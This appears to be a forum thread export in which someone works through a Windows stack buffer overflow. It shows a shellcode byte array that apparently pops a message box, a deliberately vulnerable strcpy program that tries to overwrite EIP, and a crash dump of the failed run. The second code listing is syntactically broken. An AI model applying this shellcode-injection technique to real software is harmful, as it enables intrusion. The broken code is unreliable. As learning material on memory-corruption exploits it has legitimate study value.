Code: |
#include <stdio.h> char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2" "\x51\x68\x6c\x6c\x20\x20\x68\x33" "\x32\x2e\x64\x68\x75\x73\x65\x72" "\x89\xe1\xbb\x7b\x1d\x80\x7c\x51" "\xff\xd3\xb9\x5e\x67\x30\xef\x81" "\xc1\x11\x11\x11\x11\x51\x68\x61" "\x67\x65\x42\x68\x4d\x65\x73\x73" "\x89\xe1\x51\x50\xbb\x40\xae\x80" "\x7c\xff\xd3\x89\xe1\x31\xd2\x52" "\x51\x51\x52\xff\xd0\x31\xc0\x50" "\xb8\x12\xcb\x81\x7c\xff\xd0"; int main(void) { int (*func)(); func = (int (*)()) shellcode; printf("Shellcode Length is : %d\n", strlen(shellcode)); printf("Shellcode sizeof is : %d\n", sizeof(shellcode)/sizeof(char)); (int)(*func)(); return 0; } |
Code: |
#include <stdio.h> #include <stdlib.h> #include <io.h> #include <string.h> char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2" "\x51\x68\x6c\x6c\x20\x20\x68\x33" "\x32\x2e\x64\x68\x75\x73\x65\x72" "\x89\xe1\xbb\x7b\x1d\x80\x7c\x51" "\xff\xd3\xb9\x5e\x67\x30\xef\x81" "\xc1\x11\x11\x11\x11\x51\x68\x61" "\x67\x65\x42\x68\x4d\x65\x73\x73" "\x89\xe1\x51\x50\xbb\x40\xae\x80" "\x7c\xff\xd3\x89\xe1\x31\xd2\x52" "\x51\x51\x52\xff\xd0\x31\xc0\x50" "\xb8\x12\xcb\x81\x7c\xff\xd0"; "BBBB" //overwrite EBP "\xd1\xcc\x22\x00"; //overwrite EIP with function2()'s c array address void function2(void) { char c[87]; printf("Address c = %p and value = %x\n", (void *) (&c[0]), c[0]); strcpy(c, shellcode); } int main(void) { printf("function 2 address = %p\n", (void *) (function2)); function2(); return 0; } |
Code: |
$ uname -a CYGWIN_NT-5.1 changeme 1.7.7(0.230/5/3) 2010-08-31 09:58 i686 Cygwin $ ./vul function 2 address = 0x4011a0 Address c = 0x22ccd1 and value = 1d Segmentation fault (core dumped) $ cat vul.exe.stackdump Exception: STATUS_ACCESS_VIOLATION at eip=0022CCF3 eax=7E410000 ebx=7C801D7B ecx=7C801BFA edx=00240608 esi=00000000 edi=0022CE64 ebp=42424242 esp=0022CD20 program=C:\exploit\vul\vul.exe, pid 924, thread main cs=001B ds=0023 es=0023 fs=003B gs=0000 ss=0023 Stack trace: Frame Function Args 3 [main] vul 924 exception::handle: Error while dumping state (probably corrupted stack) |
output generated using printer-friendly topic mod, All times are GMT + 2 Hours